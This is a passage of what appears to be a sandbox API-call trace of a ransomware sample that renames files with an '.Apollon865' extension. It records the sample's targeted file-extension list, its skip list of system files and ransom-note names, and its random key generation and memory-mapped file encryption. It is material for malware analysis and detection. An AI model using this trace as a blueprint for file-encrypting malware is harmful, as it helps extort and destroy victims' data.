	[0081.362] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0081.362] lstrlenW (lpString="udb") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0081.362] lstrlenW (lpString="udl") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0081.362] lstrlenW (lpString="usr") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0081.362] lstrlenW (lpString="v12") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0081.362] lstrlenW (lpString="vis") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0081.362] lstrlenW (lpString="vpd") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0081.362] lstrlenW (lpString="vvv") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0081.362] lstrlenW (lpString="wdb") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0081.362] lstrlenW (lpString="wmdb") returned 4
	[0081.362] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0081.362] lstrlenW (lpString="wrk") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0081.362] lstrlenW (lpString="xdb") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0081.362] lstrlenW (lpString="xld") returned 3
	[0081.362] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0081.362] lstrlenW (lpString="xmlff") returned 5
	[0081.362] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0081.362] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.Apollon865") returned 83
	[0081.362] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0081.364] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0081.364] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=219488) returned 1
	[0081.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0081.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0081.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0081.365] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0081.365] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0081.365] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.365] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35c60, lpName=0x0) returned 0x15c
	[0081.367] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35c60) returned 0x120000
	[0081.378] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0081.378] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0081.378] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0081.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0081.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0081.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0081.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0081.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0081.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0081.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0081.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0081.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0081.379] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0081.379] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0081.381] CloseHandle (hObject=0x15c) returned 1
	[0081.381] CloseHandle (hObject=0x9c) returned 1
	[0081.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0081.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0081.381] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0081.382] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x302da400, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeef739f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x302da400, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x9f560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OUTLLIBR.REST.trx_dll", cAlternateFileName="OUTLLI~2.TRX")) returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="..") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="windows") returned -1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="bootmgr") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="temp") returned -1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="boot") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="ids.txt") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="ntuser.dat") returned 1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="perflogs") returned -1
	[0081.382] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2="MSBuild") returned 1
	[0081.382] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0081.382] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll") returned 72
	[0081.382] lstrcpyW (in: lpString1=0x119e670, lpString2="OUTLLIBR.REST.trx_dll" | out: lpString1="OUTLLIBR.REST.trx_dll") returned="OUTLLIBR.REST.trx_dll"
	[0081.382] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0081.382] lstrlenW (lpString="Apollon865") returned 10
	[0081.382] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0081.383] lstrlenW (lpString=".dll") returned 4
	[0081.383] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".dll") returned 1
	[0081.383] lstrlenW (lpString=".lnk") returned 4
	[0081.383] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".lnk") returned 1
	[0081.383] lstrlenW (lpString=".ini") returned 4
	[0081.383] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".ini") returned 1
	[0081.383] lstrlenW (lpString=".sys") returned 4
	[0081.383] lstrcmpiW (lpString1="OUTLLIBR.REST.trx_dll", lpString2=".sys") returned 1
	[0081.383] lstrlenW (lpString="OUTLLIBR.REST.trx_dll") returned 21
	[0081.383] lstrlenW (lpString="bak") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0081.383] lstrlenW (lpString="ba_") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0081.383] lstrlenW (lpString="dbb") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0081.383] lstrlenW (lpString="vmdk") returned 4
	[0081.383] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0081.383] lstrlenW (lpString="rar") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0081.383] lstrlenW (lpString="zip") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0081.383] lstrlenW (lpString="tgz") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0081.383] lstrlenW (lpString="vbox") returned 4
	[0081.383] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0081.383] lstrlenW (lpString="vdi") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0081.383] lstrlenW (lpString="vhd") returned 3
	[0081.383] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0081.383] lstrlenW (lpString="vhdx") returned 4
	[0081.383] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0081.383] lstrlenW (lpString="avhd") returned 4
	[0081.383] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0081.383] lstrlenW (lpString="db") returned 2
	[0081.383] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0081.383] lstrlenW (lpString="db2") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0081.384] lstrlenW (lpString="db3") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0081.384] lstrlenW (lpString="dbf") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0081.384] lstrlenW (lpString="mdf") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0081.384] lstrlenW (lpString="mdb") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0081.384] lstrlenW (lpString="sql") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0081.384] lstrlenW (lpString="sqlite") returned 6
	[0081.384] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0081.384] lstrlenW (lpString="sqlite3") returned 7
	[0081.384] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0081.384] lstrlenW (lpString="sqlitedb") returned 8
	[0081.384] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0081.384] lstrlenW (lpString="xml") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0081.384] lstrlenW (lpString="$er") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0081.384] lstrlenW (lpString="4dd") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0081.384] lstrlenW (lpString="4dl") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0081.384] lstrlenW (lpString="^^^") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0081.384] lstrlenW (lpString="abs") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0081.384] lstrlenW (lpString="abx") returned 3
	[0081.384] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0081.384] lstrlenW (lpString="accdb") returned 5
	[0081.384] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0081.384] lstrlenW (lpString="accdc") returned 5
	[0081.384] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0081.384] lstrlenW (lpString="accde") returned 5
	[0081.384] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0081.385] lstrlenW (lpString="accdr") returned 5
	[0081.385] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0081.385] lstrlenW (lpString="accdt") returned 5
	[0081.385] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0081.385] lstrlenW (lpString="accdw") returned 5
	[0081.385] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0081.385] lstrlenW (lpString="accft") returned 5
	[0081.385] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0081.385] lstrlenW (lpString="adb") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.385] lstrlenW (lpString="adb") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0081.385] lstrlenW (lpString="ade") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0081.385] lstrlenW (lpString="adf") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0081.385] lstrlenW (lpString="adn") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0081.385] lstrlenW (lpString="adp") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0081.385] lstrlenW (lpString="alf") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0081.385] lstrlenW (lpString="ask") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0081.385] lstrlenW (lpString="btr") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0081.385] lstrlenW (lpString="cat") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0081.385] lstrlenW (lpString="cdb") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0081.385] lstrlenW (lpString="ckp") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0081.385] lstrlenW (lpString="cma") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0081.385] lstrlenW (lpString="cpd") returned 3
	[0081.385] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0081.386] lstrlenW (lpString="dacpac") returned 6
	[0081.386] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0081.386] lstrlenW (lpString="dad") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0081.386] lstrlenW (lpString="dadiagrams") returned 10
	[0081.386] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0081.386] lstrlenW (lpString="daschema") returned 8
	[0081.386] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0081.386] lstrlenW (lpString="db-journal") returned 10
	[0081.386] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0081.386] lstrlenW (lpString="db-shm") returned 6
	[0081.386] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0081.386] lstrlenW (lpString="db-wal") returned 6
	[0081.386] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0081.386] lstrlenW (lpString="dbc") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0081.386] lstrlenW (lpString="dbs") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0081.386] lstrlenW (lpString="dbt") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0081.386] lstrlenW (lpString="dbv") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0081.386] lstrlenW (lpString="dbx") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0081.386] lstrlenW (lpString="dcb") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0081.386] lstrlenW (lpString="dct") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0081.386] lstrlenW (lpString="dcx") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0081.386] lstrlenW (lpString="ddl") returned 3
	[0081.386] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0081.386] lstrlenW (lpString="dlis") returned 4
	[0081.386] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0081.387] lstrlenW (lpString="dp1") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0081.387] lstrlenW (lpString="dqy") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0081.387] lstrlenW (lpString="dsk") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0081.387] lstrlenW (lpString="dsn") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0081.387] lstrlenW (lpString="dtsx") returned 4
	[0081.387] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0081.387] lstrlenW (lpString="dxl") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0081.387] lstrlenW (lpString="eco") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0081.387] lstrlenW (lpString="ecx") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0081.387] lstrlenW (lpString="edb") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0081.387] lstrlenW (lpString="epim") returned 4
	[0081.387] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0081.387] lstrlenW (lpString="fcd") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0081.387] lstrlenW (lpString="fdb") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0081.387] lstrlenW (lpString="fic") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0081.387] lstrlenW (lpString="flexolibrary") returned 12
	[0081.387] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0081.387] lstrlenW (lpString="fm5") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0081.387] lstrlenW (lpString="fmp") returned 3
	[0081.387] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0081.387] lstrlenW (lpString="fmp12") returned 5
	[0081.387] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0081.387] lstrlenW (lpString="fmpsl") returned 5
	[0081.387] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0081.388] lstrlenW (lpString="fol") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0081.388] lstrlenW (lpString="fp3") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0081.388] lstrlenW (lpString="fp4") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0081.388] lstrlenW (lpString="fp5") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0081.388] lstrlenW (lpString="fp7") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0081.388] lstrlenW (lpString="fpt") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0081.388] lstrlenW (lpString="frm") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0081.388] lstrlenW (lpString="gdb") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.388] lstrlenW (lpString="gdb") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0081.388] lstrlenW (lpString="grdb") returned 4
	[0081.388] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0081.388] lstrlenW (lpString="gwi") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0081.388] lstrlenW (lpString="hdb") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0081.388] lstrlenW (lpString="his") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0081.388] lstrlenW (lpString="ib") returned 2
	[0081.388] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0081.388] lstrlenW (lpString="idb") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0081.388] lstrlenW (lpString="ihx") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0081.388] lstrlenW (lpString="itdb") returned 4
	[0081.388] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0081.388] lstrlenW (lpString="itw") returned 3
	[0081.388] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0081.389] lstrlenW (lpString="jet") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0081.389] lstrlenW (lpString="jtx") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0081.389] lstrlenW (lpString="kdb") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0081.389] lstrlenW (lpString="kexi") returned 4
	[0081.389] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0081.389] lstrlenW (lpString="kexic") returned 5
	[0081.389] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0081.389] lstrlenW (lpString="kexis") returned 5
	[0081.389] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0081.389] lstrlenW (lpString="lgc") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0081.389] lstrlenW (lpString="lwx") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0081.389] lstrlenW (lpString="maf") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0081.389] lstrlenW (lpString="maq") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0081.389] lstrlenW (lpString="mar") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0081.389] lstrlenW (lpString="marshal") returned 7
	[0081.389] lstrcmpiW (lpString1="trx_dll", lpString2="marshal") returned 1
	[0081.389] lstrlenW (lpString="mas") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1
	[0081.389] lstrlenW (lpString="mav") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1
	[0081.389] lstrlenW (lpString="maw") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0081.389] lstrlenW (lpString="mdbhtml") returned 7
	[0081.389] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0081.389] lstrlenW (lpString="mdn") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0081.389] lstrlenW (lpString="mdt") returned 3
	[0081.389] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0081.390] lstrlenW (lpString="mfd") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0081.390] lstrlenW (lpString="mpd") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0081.390] lstrlenW (lpString="mrg") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0081.390] lstrlenW (lpString="mud") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0081.390] lstrlenW (lpString="mwb") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0081.390] lstrlenW (lpString="myd") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0081.390] lstrlenW (lpString="ndf") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0081.390] lstrlenW (lpString="nnt") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0081.390] lstrlenW (lpString="nrmlib") returned 6
	[0081.390] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0081.390] lstrlenW (lpString="ns2") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0081.390] lstrlenW (lpString="ns3") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0081.390] lstrlenW (lpString="ns4") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0081.390] lstrlenW (lpString="nsf") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0081.390] lstrlenW (lpString="nv") returned 2
	[0081.390] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0081.390] lstrlenW (lpString="nv2") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0081.390] lstrlenW (lpString="nwdb") returned 4
	[0081.390] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0081.390] lstrlenW (lpString="nyf") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0081.390] lstrlenW (lpString="odb") returned 3
	[0081.390] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.391] lstrlenW (lpString="odb") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0081.391] lstrlenW (lpString="oqy") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0081.391] lstrlenW (lpString="ora") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0081.391] lstrlenW (lpString="orx") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0081.391] lstrlenW (lpString="owc") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0081.391] lstrlenW (lpString="p96") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0081.391] lstrlenW (lpString="p97") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0081.391] lstrlenW (lpString="pan") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0081.391] lstrlenW (lpString="pdb") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0081.391] lstrlenW (lpString="pdm") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0081.391] lstrlenW (lpString="pnz") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0081.391] lstrlenW (lpString="qry") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0081.391] lstrlenW (lpString="qvd") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0081.391] lstrlenW (lpString="rbf") returned 3
	[0081.391] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
